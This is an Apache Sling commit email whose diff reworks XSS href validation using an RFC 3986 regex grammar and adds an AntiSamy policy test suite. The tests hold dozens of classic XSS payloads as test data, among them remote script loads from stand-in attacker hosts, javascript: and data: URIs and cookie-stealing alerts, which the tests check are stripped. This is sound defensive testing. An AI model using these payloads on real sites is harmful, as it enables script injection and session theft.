You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@sling.apache.org by ra...@apache.org on 2018/06/29 15:44:55 UTC
[sling-org-apache-sling-xss] branch master updated: SLING-7741 -
org.apache.sling.xss.impl.XSSAPIImpl#getValidHref doesn't correctly handle
the ":" character in URL fragments
This is an automated email from the ASF dual-hosted git repository.
radu pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/sling-org-apache-sling-xss.git
The following commit(s) were added to refs/heads/master by this push:
new bfee439 SLING-7741 - org.apache.sling.xss.impl.XSSAPIImpl#getValidHref doesn't correctly handle the ":" character in URL fragments
bfee439 is described below
commit bfee439db27186a110140f574f8cc978fa3451af
Author: Radu Cotescu <17...@users.noreply.github.com>
AuthorDate: Fri Jun 29 17:44:53 2018 +0200
SLING-7741 - org.apache.sling.xss.impl.XSSAPIImpl#getValidHref doesn't correctly handle the ":" character in URL fragments
* implemented the URI grammar from RFC3986 as a set of regular expressions to allow colons to be used in the URIs
* modified mangleNamespaces function to only perform namespace mangling for paths
* extended tests
* updated AntiSamy
* updated dependencies and provided more tests
---
pom.xml | 29 +--
.../java/org/apache/sling/xss/impl/XSSAPIImpl.java | 74 +++---
.../org/apache/sling/xss/impl/XSSFilterImpl.java | 55 ++++-
src/main/resources/SLING-INF/content/config.xml | 12 +-
.../apache/sling/xss/impl/AntiSamyPolicyTest.java | 256 +++++++++++++++++++++
.../org/apache/sling/xss/impl/XSSAPIImplTest.java | 48 +++-
6 files changed, 403 insertions(+), 71 deletions(-)
diff --git a/pom.xml b/pom.xml
index 2883bcb..14d896d 100644
--- a/pom.xml
+++ b/pom.xml
@@ -90,6 +90,7 @@
!org.apache.tools.ant.taskdefs,
!org.apache.xml.resolver,
!org.apache.xml.resolver.readers,
+ !org.apache.xmlgraphics.java2d.color,
!org.apache.log,
!javax.mail.internet,
!javax.servlet.jsp,
@@ -129,7 +130,7 @@
<dependency>
<groupId>org.owasp.antisamy</groupId>
<artifactId>antisamy</artifactId>
- <version>1.5.2</version>
+ <version>1.5.7</version>
<scope>provided</scope>
<exclusions>
<exclusion>
@@ -167,33 +168,15 @@
<!-- reconstruct the full list here. -->
<!-- TODO: Remove this workaround when we dump Java 5. -->
<dependency>
- <groupId>batik</groupId>
+ <groupId>org.apache.xmlgraphics</groupId>
<artifactId>batik-css</artifactId>
- <version>1.6</version>
- <scope>provided</scope>
- </dependency>
- <dependency>
- <groupId>batik</groupId>
- <artifactId>batik-ext</artifactId>
- <version>1.6</version>
- <scope>provided</scope>
- </dependency>
- <dependency>
- <groupId>batik</groupId>
- <artifactId>batik-util</artifactId>
- <version>1.6</version>
- <scope>provided</scope>
- </dependency>
- <dependency>
- <groupId>batik</groupId>
- <artifactId>batik-gui-util</artifactId>
- <version>1.6</version>
+ <version>1.9.1</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>xml-apis</groupId>
- <artifactId>xml-apis-ext</artifactId>
- <version>1.3.04</version>
+ <artifactId>xml-apis</artifactId>
+ <version>1.4.01</version>
<scope>provided</scope>
</dependency>
<!-- </#40108 - XSS protection does not work on Java 5> -->
diff --git a/src/main/java/org/apache/sling/xss/impl/XSSAPIImpl.java b/src/main/java/org/apache/sling/xss/impl/XSSAPIImpl.java
index fe6c299..546eb0c 100644
--- a/src/main/java/org/apache/sling/xss/impl/XSSAPIImpl.java
+++ b/src/main/java/org/apache/sling/xss/impl/XSSAPIImpl.java
@@ -18,6 +18,8 @@ package org.apache.sling.xss.impl;
import java.io.StringReader;
import java.io.StringWriter;
+import java.net.URI;
+import java.net.URISyntaxException;
import java.util.HashMap;
import java.util.Map;
import java.util.regex.Matcher;
@@ -181,43 +183,49 @@ public class XSSAPIImpl implements XSSAPI {
private static final String MANGLE_NAMESPACE_IN_PREFIX = "/_";
- private static final String SCHEME_PATTERN = "://";
-
private String mangleNamespaces(String absPath) {
- if (absPath != null) {
- // check for absolute urls
- final int schemeIndex = absPath.indexOf(SCHEME_PATTERN);
- final String manglePath;
- final String prefix;
- if (schemeIndex != -1) {
- final int pathIndex = absPath.indexOf("/", schemeIndex + 3);
- if (pathIndex != -1) {
- prefix = absPath.substring(0, pathIndex);
- manglePath = absPath.substring(pathIndex);
- } else {
- prefix = absPath;
- manglePath = "";
+ String mangledPath = null;
+ try {
+ URI uri = new URI(absPath);
+ if (uri.getPath() != null) {
+ if (uri.getRawPath().contains(MANGLE_NAMESPACE_OUT_SUFFIX)) {
+ final Matcher m = MANGLE_NAMESPACE_PATTERN.matcher(uri.getRawPath());
+
+ final StringBuffer buf = new StringBuffer();
+ while (m.find()) {
+ final String replacement = MANGLE_NAMESPACE_IN_PREFIX + m.group(1) + MANGLE_NAMESPACE_IN_SUFFIX;
+ m.appendReplacement(buf, replacement);
+ }
+
+ m.appendTail(buf);
+ mangledPath = buf.toString();
}
- } else {
- prefix = "";
- manglePath = absPath;
}
- if (manglePath.contains(MANGLE_NAMESPACE_OUT_SUFFIX)) {
- final Matcher m = MANGLE_NAMESPACE_PATTERN.matcher(manglePath);
-
- final StringBuffer buf = new StringBuffer();
- while (m.find()) {
- final String replacement = MANGLE_NAMESPACE_IN_PREFIX + m.group(1) + MANGLE_NAMESPACE_IN_SUFFIX;
- m.appendReplacement(buf, replacement);
+ if (mangledPath != null) {
+ try {
+ URI mangledURI = new URI(uri.getScheme(), uri.getUserInfo(), uri.getHost(), uri.getPort(), mangledPath,
+ uri.getRawQuery(), uri.getRawFragment());
+ StringBuilder uriBuilder = new StringBuilder();
+ if (StringUtils.isNotEmpty(mangledURI.getScheme()) && StringUtils.isNotEmpty(mangledURI.getAuthority())) {
+ uriBuilder.append(mangledURI.getScheme()).append("://").append(mangledURI.getRawAuthority());
+ }
+ if (StringUtils.isNotEmpty(mangledURI.getPath())) {
+ uriBuilder.append(mangledURI.getRawPath());
+ }
+ if (StringUtils.isNotEmpty(mangledURI.getQuery())) {
+ uriBuilder.append("?").append(mangledURI.getRawQuery());
+ }
+ if (StringUtils.isNotEmpty(mangledURI.getFragment())) {
+ uriBuilder.append("#").append(mangledURI.getRawFragment());
+ }
+ return uriBuilder.toString();
+ } catch (URISyntaxException e) {
+ LOGGER.warn("Invalid URI.", e);
}
-
- m.appendTail(buf);
-
- absPath = prefix + buf.toString();
-
}
+ } catch (URISyntaxException e) {
+ LOGGER.warn("Invalid URI.", e);
}
-
return absPath;
}
@@ -237,10 +245,6 @@ public class XSSAPIImpl implements XSSAPI {
.replaceAll("<", "%3C")
.replaceAll("`", "%60")
.replaceAll(" ", "%20");
- int qMarkIx = encodedUrl.indexOf('?');
- if (qMarkIx > 0) {
- encodedUrl = encodedUrl.substring(0, qMarkIx) + encodedUrl.substring(qMarkIx).replaceAll(":", "%3A");
- }
encodedUrl = mangleNamespaces(encodedUrl);
if (xssFilter.isValidHref(encodedUrl)) {
return encodedUrl;
diff --git a/src/main/java/org/apache/sling/xss/impl/XSSFilterImpl.java b/src/main/java/org/apache/sling/xss/impl/XSSFilterImpl.java
index b155d49..49349da 100644
--- a/src/main/java/org/apache/sling/xss/impl/XSSFilterImpl.java
+++ b/src/main/java/org/apache/sling/xss/impl/XSSFilterImpl.java
@@ -68,12 +68,61 @@ public class XSSFilterImpl implements XSSFilter, ResourceChangeListener, Externa
private final Logger logger = LoggerFactory.getLogger(XSSFilterImpl.class);
+ public static final String GRAPHEME = "(?>\\P{M}\\p{M}*)";
+ public static final String ALPHA = "(?:\\p{L}\\p{M}*)";
+ public static final String HEX_DIGIT = "\\p{XDigit}";
+ public static final String PCT_ENCODED = "%" + HEX_DIGIT + HEX_DIGIT;
+ public static final String UNRESERVED_CHARACTERS = ALPHA + "|[\\p{N}-._~]";
+ public static final String SUB_DELIMS = "[!$&'()*+,;=]";
+ public static final String REG_NAME = "(?:(?:" + UNRESERVED_CHARACTERS + ")*|(?:" + PCT_ENCODED + ")*|" + "(?:" + SUB_DELIMS + ")*)";
+ public static final String PCHAR = UNRESERVED_CHARACTERS + "|" + PCT_ENCODED + "|" + SUB_DELIMS + "|:|@";
+ public static final String DEC_OCTET = "(?:\\p{N}|[\\x31-\\x39]\\p{N}|1\\p{N}{2}|2[\\x30-\\x34]\\p{N}|25[\\x30-\\x35])";
+ public static final String H16 = HEX_DIGIT + "{1,4}";
+ public static final String IPv4_ADDRESS = DEC_OCTET + "\\." + DEC_OCTET + "\\." + DEC_OCTET + "\\." + DEC_OCTET;
+ public static final String LS32 = "(?:" + H16 + ":" + H16 + ")|" + IPv4_ADDRESS;
+ public static final String IPv6_ADDRESS = "(?:(?:(?:" + H16 + ":){6}(?:" + LS32 + "))|" +
+ "(?:::(?:" + H16 + ":){5}(?:" + LS32 + "))|" +
+ "(?:(?:" + H16 + "){0,1}::(?:" + H16 + ":){4}(?:" + LS32 + "))|" +
+ "(?:(?:(?:" + H16 + ":){0,1}" + H16 + ")?::(?:" + H16 + ":){3}(?:" + LS32 + "))|" +
+ "(?:(?:(?:" + H16 + ":){0,2}" + H16 + ")?::(?:" + H16 + ":){2}(?:" + LS32 + "))|" +
+ "(?:(?:(?:" + H16 + ":){0,3}" + H16 + ")?::(?:" + H16 + ":){1}(?:" + LS32 + "))|" +
+ "(?:(?:(?:" + H16 + ":){0,4}" + H16 + ")?::(?:" + LS32 + "))|" +
+ "(?:(?:(?:" + H16 + ":){0,5}" + H16 + ")?::(?:" + H16 + "))|" +
+ "(?:(?:(?:" + H16 + ":){0,6}" + H16 + ")?::))";
+ public static final String IP_LITERAL = "\\[" + IPv6_ADDRESS + "]";
+ public static final String PORT = "\\p{Digit}+";
+ public static final String HOST = "(?:" + IP_LITERAL + "|" + IPv4_ADDRESS + "|" + REG_NAME + ")";
+ public static final String USER_INFO = "(?:(?:" + UNRESERVED_CHARACTERS + ")|(?:" + PCT_ENCODED + ")|(?:" + SUB_DELIMS + "))*";
+ public static final String AUTHORITY = "(?:" + USER_INFO + "@)?" + HOST + "(?::" + PORT + ")?";
+ public static final String SCHEME_PATTERN = "(?!\\s*javascript)\\p{L}[\\p{L}\\p{N}+.\\-]*";
+ public static final String FRAGMENT = "(?:" + PCHAR + "|/|\\?)*";
+ public static final String QUERY = "(?:" + PCHAR + "|/|\\?)*";
+ public static final String SEGMENT_NZ = "(?:" + PCHAR + ")+";
+ public static final String SEGMENT_NZ_NC = "(?:" + UNRESERVED_CHARACTERS + "|" + PCT_ENCODED + "|" + SUB_DELIMS + "|@)+";
+ public static final String PATH_ABEMPTY = "(?:/|(/" + SEGMENT_NZ + ")*)";
+ public static final String PATH_ABSOLUTE = "/(?:" + SEGMENT_NZ + PATH_ABEMPTY + ")?";
+ public static final String PATH_NOSCHEME = SEGMENT_NZ_NC + "(?:/|(/" + SEGMENT_NZ + ")*)";
+ public static final String PATH_ROOTLESS = SEGMENT_NZ + "(?:/|(/" + SEGMENT_NZ + ")*)";
+ public static final String PATH_EMPTY = "(?:^$)";
+ public static final String RELATIVE_PART = "(?:(?://" + AUTHORITY + PATH_ABEMPTY + ")|" +
+ "(?:" + PATH_ABSOLUTE + ")|" +
+ "(?:" + PATH_ROOTLESS + ")|" +
+ PATH_EMPTY + ")";
+ public static final String HIER_PART = "(?:(?://" + AUTHORITY + PATH_ABEMPTY + ")|" +
+ "(?:" + PATH_ABSOLUTE + ")|" +
+ "(?:" + PATH_NOSCHEME + ")|" +
+ PATH_EMPTY + ")";
+
+ public static final String RELATIVE_REF = "(?!\\s*javascript(?::|:))" + RELATIVE_PART + "(?:\\?" + QUERY + ")?(?:#" + FRAGMENT + ")?";
+ public static final String URI = SCHEME_PATTERN + ":" + HIER_PART + "(?:\\?" + QUERY + ")?(?:#" + FRAGMENT + ")?";
+
+
// Default href configuration copied from the config.xml supplied with AntiSamy
static final Attribute DEFAULT_HREF_ATTRIBUTE = new Attribute(
"href",
Arrays.asList(
- Pattern.compile("([\\p{L}\\p{M}*+\\p{N}\\\\\\.\\#@\\$%\\+&;\\-_~,\\?=/!\\*\\(\\)]*|\\#(\\w)+)"),
- Pattern.compile("(\\s)*((ht|f)tp(s?)://|mailto:)[\\p{L}\\p{M}*+\\p{N}]+[\\p{L}\\p{M}*+\\p{N}\\p{Zs}\\.\\#@\\$%\\+&;:\\-_~,\\?=/!\\*\\(\\)]*(\\s)*")
+ Pattern.compile(RELATIVE_REF),
+ Pattern.compile(URI)
),
Collections.<String>emptyList(),
"removeAttribute", ""
@@ -150,7 +199,7 @@ public class XSSFilterImpl implements XSSFilter, ResourceChangeListener, Externa
// Same logic as in org.owasp.validator.html.scan.MagicSAXFilter.startElement()
boolean isValid = hrefAttribute.containsAllowedValue(url.toLowerCase());
if (!isValid) {
- isValid = hrefAttribute.matchesAllowedExpression(url);
+ isValid = hrefAttribute.matchesAllowedExpression(url.toLowerCase());
}
return isValid;
}
diff --git a/src/main/resources/SLING-INF/content/config.xml b/src/main/resources/SLING-INF/content/config.xml
index f71b704..b57a4fa 100644
--- a/src/main/resources/SLING-INF/content/config.xml
+++ b/src/main/resources/SLING-INF/content/config.xml
@@ -67,8 +67,12 @@ http://www.w3.org/TR/html401/struct/global.html
<regexp name="htmlClass" value="[a-zA-Z0-9\s,\-_]+"/>
<!-- Allow empty URL attributes with a '*'-quantifier instead of '+' for the first part of the regexp -->
- <regexp name="onsiteURL" value="([\p{L}\p{M}*+\p{N}\\\.\#@\$%\+&;\-_~,\?=/!\*\(\)]*|\#(\w)+)"/>
- <regexp name="offsiteURL" value="(\s)*((ht|f)tp(s?)://|mailto:)[\p{L}\p{M}*+\p{N}]+[\p{L}\p{M}*+\p{N}\p{Zs}\.\#@\$%\+&;:\-_~,\?=/!\*\(\)]*(\s)*"/>
+ <!-- Check org.apache.sling.xss.impl.XSSFilterImpl#RELATIVE_REF to understand the regexp -->
+ <regexp name="onsiteURL"
+ value="(?!\s*javascript(?::|&colon;))(?:(?://(?:(?:(?:(?:\p{L}\p{M}*)|[\p{N}-._~])|(?:%\p{XDigit}\p{XDigit})|(?:[!$&'()*+,;=]))*@)?(?:\[(?:(?:(?:\p{XDigit}{1,4}:){6}(?:(?:\p{XDigit}{1,4}:\p{XDigit}{1,4})|(?:\p{N}|[\x31-\x39]\p{N}|1\p{N}{2}|2[\x30-\x34]\p{N}|25[\x30-\x35])\.(?:\p{N}|[\x31-\x39]\p{N}|1\p{N}{2}|2[\x30-\x34]\p{N}|25[\x30-\x35])\.(?:\p{N}|[\x31-\x39]\p{N}|1\p{N}{2}|2[\x30-\x34]\p{N}|25[\x30-\x35])\.(?:\p{N}|[\x31-\x39]\p{N}|1\p{N}{2}|2[\x30-\x34]\ [...]
+ <!-- Check org.apache.sling.xss.impl.XSSFilterImpl#URI to understand the regexp -->
+ <regexp name="offsiteURL"
+ value="(?!\s*javascript)\p{L}[\p{L}\p{N}+.\-]*:(?:(?://(?:(?:(?:(?:\p{L}\p{M}*)|[\p{N}-._~])|(?:%\p{XDigit}\p{XDigit})|(?:[!$&'()*+,;=]))*@)?(?:\[(?:(?:(?:\p{XDigit}{1,4}:){6}(?:(?:\p{XDigit}{1,4}:\p{XDigit}{1,4})|(?:\p{N}|[\x31-\x39]\p{N}|1\p{N}{2}|2[\x30-\x34]\p{N}|25[\x30-\x35])\.(?:\p{N}|[\x31-\x39]\p{N}|1\p{N}{2}|2[\x30-\x34]\p{N}|25[\x30-\x35])\.(?:\p{N}|[\x31-\x39]\p{N}|1\p{N}{2}|2[\x30-\x34]\p{N}|25[\x30-\x35])\.(?:\p{N}|[\x31-\x39]\p{N}|1\p{N}{2}|2[\x30- [...]
<regexp name="boolean" value="(true|false)"/>
<regexp name="singlePrintable" value="[a-zA-Z0-9]{1}"/>
@@ -105,8 +109,8 @@ http://www.w3.org/TR/html401/struct/global.html
<regexp name="cssAttributeExclusion" value=""/>
<!-- This is for resources referenced from CSS (such as background images and other imported stylesheets) -->
- <regexp name="cssOnsiteUri" value="url\(([\p{L}\p{N}\\/\.\?=\#&;\-_~]+|\#(\w)+)\)"/>
- <regexp name="cssOffsiteUri" value="url\((\s)*((ht|f)tp(s?)://)[\p{L}\p{N}]+[~\p{L}\p{N}\p{Zs}\-_\.@#$%&;:,\?=/\+!]*(\s)*\)"/>
+ <regexp name="cssOnsiteUri" value="url\((?!\s*javascript(?::|&colon;))(?:(?://(?:(?:(?:(?:\p{L}\p{M}*)|[\p{N}-._~])|(?:%\p{XDigit}\p{XDigit})|(?:[!$&'()*+,;=]))*@)?(?:\[(?:(?:(?:\p{XDigit}{1,4}:){6}(?:(?:\p{XDigit}{1,4}:\p{XDigit}{1,4})|(?:\p{N}|[\x31-\x39]\p{N}|1\p{N}{2}|2[\x30-\x34]\p{N}|25[\x30-\x35])\.(?:\p{N}|[\x31-\x39]\p{N}|1\p{N}{2}|2[\x30-\x34]\p{N}|25[\x30-\x35])\.(?:\p{N}|[\x31-\x39]\p{N}|1\p{N}{2}|2[\x30-\x34]\p{N}|25[\x30-\x35])\.(?:\p{N}|[\x31-\x39]\p{N [...]
+ <regexp name="cssOffsiteUri" value="url\((?!\s*javascript)\p{L}[\p{L}\p{N}+.\-]*:(?:(?://(?:(?:(?:(?:\p{L}\p{M}*)|[\p{N}-._~])|(?:%\p{XDigit}\p{XDigit})|(?:[!$&'()*+,;=]))*@)?(?:\[(?:(?:(?:\p{XDigit}{1,4}:){6}(?:(?:\p{XDigit}{1,4}:\p{XDigit}{1,4})|(?:\p{N}|[\x31-\x39]\p{N}|1\p{N}{2}|2[\x30-\x34]\p{N}|25[\x30-\x35])\.(?:\p{N}|[\x31-\x39]\p{N}|1\p{N}{2}|2[\x30-\x34]\p{N}|25[\x30-\x35])\.(?:\p{N}|[\x31-\x39]\p{N}|1\p{N}{2}|2[\x30-\x34]\p{N}|25[\x30-\x35])\.(?:\p{N}|[\x31-\x [...]
<!-- This if for CSS Identifiers -->
<regexp name="cssIdentifier" value="[a-zA-Z0-9\-_]+"/>
diff --git a/src/test/java/org/apache/sling/xss/impl/AntiSamyPolicyTest.java b/src/test/java/org/apache/sling/xss/impl/AntiSamyPolicyTest.java
new file mode 100644
index 0000000..f39329b
--- /dev/null
+++ b/src/test/java/org/apache/sling/xss/impl/AntiSamyPolicyTest.java
@@ -0,0 +1,256 @@
+/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ ~ Licensed to the Apache Software Foundation (ASF) under one
+ ~ or more contributor license agreements. See the NOTICE file
+ ~ distributed with this work for additional information
+ ~ regarding copyright ownership. The ASF licenses this file
+ ~ to you under the Apache License, Version 2.0 (the
+ ~ "License"); you may not use this file except in compliance
+ ~ with the License. You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing,
+ ~ software distributed under the License is distributed on an
+ ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ ~ KIND, either express or implied. See the License for the
+ ~ specific language governing permissions and limitations
+ ~ under the License.
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
+package org.apache.sling.xss.impl;
+
+import org.apache.commons.lang3.StringUtils;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.owasp.validator.html.AntiSamy;
+import org.owasp.validator.html.Policy;
+import org.owasp.validator.html.PolicyException;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * This test suite makes sure the customised {@code config.xml} policy shipped with this module is not exposed to attacks. The test strings
+ * are adapted from <a href="https://github.com/nahsra/antisamy/blob/master/src/test/java/org/owasp/validator/html/test/AntiSamyTest.java">
+ * https://github.com/nahsra/antisamy/blob/master/src/test/java/org/owasp/validator/html/test/AntiSamyTest.java</a>.
+ */
+public class AntiSamyPolicyTest {
+
+ public static final String POLICY_FILE = "SLING-INF/content/config.xml";
+ private static AntiSamy antiSamy;
+
+ @BeforeClass
+ public static void setup() throws PolicyException {
+ antiSamy = new AntiSamy(Policy.getInstance(AntiSamyPolicyTest.class.getClassLoader().getResourceAsStream(POLICY_FILE)));
+ }
+
+ @Test
+ public void testScriptFiltering() throws Exception {
+ TestInput[] tests = new TestInput[]{
+ new TestInput("test<script>alert(document.cookie)</script>", "script", false),
+ new TestInput("<<<><<script src=http://fake-evil.ru/test.js>", "<script", false),
+ new TestInput("<script<script src=http://fake-evil.ru/test.js>>", "<script", false),
+ new TestInput("<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<script", false),
+ new TestInput("<![CDATA[]><script>alert(1)</script><![CDATA[]>]]><script>alert(2)</script>>]]>", "<script", false),
+
+ };
+ for (TestInput testInput : tests) {
+ testOutputContains(testInput.input, testInput.expectedPartialOutput, testInput.containsExpectedPartialOutput);
+ }
+ }
+
+ @Test
+ public void testEventHandlerAttributes() throws Exception {
+ TestInput[] tests = new TestInput[]{
+ new TestInput("<a onblur=\"alert(secret)\" href=\"http://www.google.com\">Google</a>", "onblur", false),
+ new TestInput("<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", "onload", false),
+ new TestInput("<BODY ONLOAD=alert('XSS')>", "alert", false),
+ new TestInput("<a href=\"http://example.com\"&/onclick=alert(9)>foo</a>", "onclick", false),
+ new TestInput("<style onload=alert(1)>h1 {color:red;}</style>", "onload", false),
+ new TestInput("<bogus>whatever</bogus><img src=\"https://ssl.gstatic.com/codesite/ph/images/defaultlogo.png\" " +
+ "onmouseover=\"alert('xss')\">", "onmouseover", false),
+ };
+ for (TestInput testInput : tests) {
+ testOutputContains(testInput.input, testInput.expectedPartialOutput, testInput.containsExpectedPartialOutput);
+ }
+ }
+
+ @Test
+ public void testImageFiltering() throws Exception {
+ TestInput[] tests = new TestInput[]{
+ new TestInput("<img src=\"http://www.myspace.com/img.gif\"/>", "<img", true),
+ new TestInput("<img src=javascript:alert(document.cookie)>", "<img", false),
+ new TestInput(
+ "<IMG SRC=javascript:alert('XSS')>",
+ "<img", false),
+ new TestInput("<IMG SRC=\"jav
ascript:alert('XSS');\">", "alert", false),
+ new TestInput("<IMG SRC=\"javascript:alert('XSS')\"", "javascript", false),
+ new TestInput("<IMG LOWSRC=\"javascript:alert('XSS')\">", "javascript", false),
+ };
+ for (TestInput testInput : tests) {
+ testOutputContains(testInput.input, testInput.expectedPartialOutput, testInput.containsExpectedPartialOutput);
+ }
+
+ String[] emptyOutput = new String[]{
+ "<IMG SRC=javascript:a" +
+ "lert('XSS')>",
+ "<IMG SRC=javascript:alert('XSS')>"
+ };
+ for (String input : emptyOutput) {
+ testOutpuIsEmpty(input);
+ }
+ }
+
+ @Test
+ public void testURIFiltering() throws Exception {
+ TestInput[] testInputs = new TestInput[]{
+ new TestInput("<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", "src", false),
+ new TestInput("<iframe src=http://ha.ckers.org/scriptlet.html <", "<iframe", false),
+ new TestInput("<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", "href", false),
+ new TestInput("<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", "href", false),
+ new TestInput("<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", "ha.ckers.org", false),
+ new TestInput("<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", "ha.ckers.org", false),
+ new TestInput("<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", "javascript", false),
+ new TestInput("<IMG SRC='vbscript:msgbox(\"XSS\")'>", "vbscript", false),
+ new TestInput("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", "<meta", false),
+ new TestInput("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", "<meta", false),
+ new TestInput(
+ "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">",
+ "<meta", false),
+ new TestInput("<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", "<iframe", false),
+ new TestInput("<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", "javascript", false),
+ new TestInput("<TABLE BACKGROUND=\"javascript:alert('XSS')\">", "background", false),
+ new TestInput("<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", "background", false),
+ new TestInput("<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "javascript", false),
+ new TestInput("<DIV STYLE=\"width: expression(alert('XSS'));\">", "alert", false),
+ new TestInput("<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", "alert", false),
+ new TestInput("<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", "ript:alert", false),
+ new TestInput("<BASE HREF=\"javascript:alert('XSS');//\">", "javascript", false),
+ new TestInput("<BaSe hReF=\"http://arbitrary.com/\">", "<base", false),
+ new TestInput("<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", "<object", false),
+ new TestInput(
+ "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>",
+ "javascript", false),
+ new TestInput("<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>", "<embed", false),
+ new TestInput(
+ "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>",
+ "<embed", false),
+ new TestInput("<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<script", false),
+ new TestInput("<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<script", false),
+ new TestInput("<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<script", false),
+ new TestInput("<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<script", false),
+ new TestInput("<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<script",
+ false),
+ new TestInput("<SCRIPT SRC=http://ha.ckers.org/xss.js", "<script", false),
+ new TestInput(
+ "<div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)&>",
+ "style", false),
+ new TestInput("<a href='aim: &c:\\windows\\system32\\calc.exe' ini='C:\\Documents and Settings\\All Users\\Start " +
+ "Menu\\Programs\\Startup\\pwnd.bat'>", "calc.exe", false),
+ new TestInput("<!--\n<A href=\n- --><a href=javascript:alert:document.domain>test-->", "javascript", false),
+ new TestInput(
+ "<a></a style=\"\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\">",
+ "document", false),
+ new TestInput("<a href='http://subdomain.domain/(S(ke0lpq54bw0fvp53a10e1a45))/MyPage.aspx'>test</a>", "http://subdomain" +
+ ".domain/(S(ke0lpq54bw0fvp53a10e1a45))/MyPage.aspx", true),
+ new TestInput("<a href=\"javascript:alert(1)\">X</a>", "javascript", false)
+
+ };
+ for (TestInput testInput : testInputs) {
+ testOutputContains(testInput.input, testInput.expectedPartialOutput, testInput.containsExpectedPartialOutput);
+ }
+ }
+
+ @Test
+ public void testCSSFiltering() throws Exception {
+ TestInput[] testInputs = new TestInput[]{
+ new TestInput("<div style=\"position:absolute\">", "position", false),
+ new TestInput("<style>b { position:absolute }</style>", "position", false),
+ new TestInput("<div style=\"z-index:25\">test</div>", "z-index", false),
+ new TestInput("<style>z-index:25</style>", "z-index", false),
+ new TestInput("<div style=\"margin: -5em\">Test</div>", "margin", false),
+ new TestInput("<div style=\"font-family: Geneva, Arial, courier new, sans-serif\">Test</div>", "font-family", true),
+ new TestInput("<style type=\"text/css\"><![CDATA[P {\n font-family: \"Arial Unicode MS\";\n}\n]]></style>",
+ "font-family", true),
+ new TestInput("<style type=\"text/css\"><![CDATA[P { margin-bottom: 0.08in; } ]]></style>", "margin-bottom", true),
+ new TestInput("<style type=\"text/css\"><![CDATA[\r\nP {\r\n margin-bottom: 0.08in;\r\n}\r\n]]></style>", "margin-bottom",
+ true),
+ new TestInput("<style>P {\n\tmargin-bottom: 0.08in;\n}\n", "margin-bottom", true),
+ new TestInput("<font color=\"#fff\">Test</font>", "color=\"#fff\"", true),
+ new TestInput("<font color=\"red\">Test</font>", "color=\"red\"", true),
+ new TestInput("<font color=\"neonpink\">Test</font>", "color", false),
+ new TestInput("<font color=\"#0000\">Test</font>", "color=", false),
+ new TestInput("<font color=\"#000000\">Test</font>", "color=\"#000000\"", true),
+ };
+ for (TestInput testInput : testInputs) {
+ testOutputContains(testInput.input, testInput.expectedPartialOutput, testInput.containsExpectedPartialOutput);
+ }
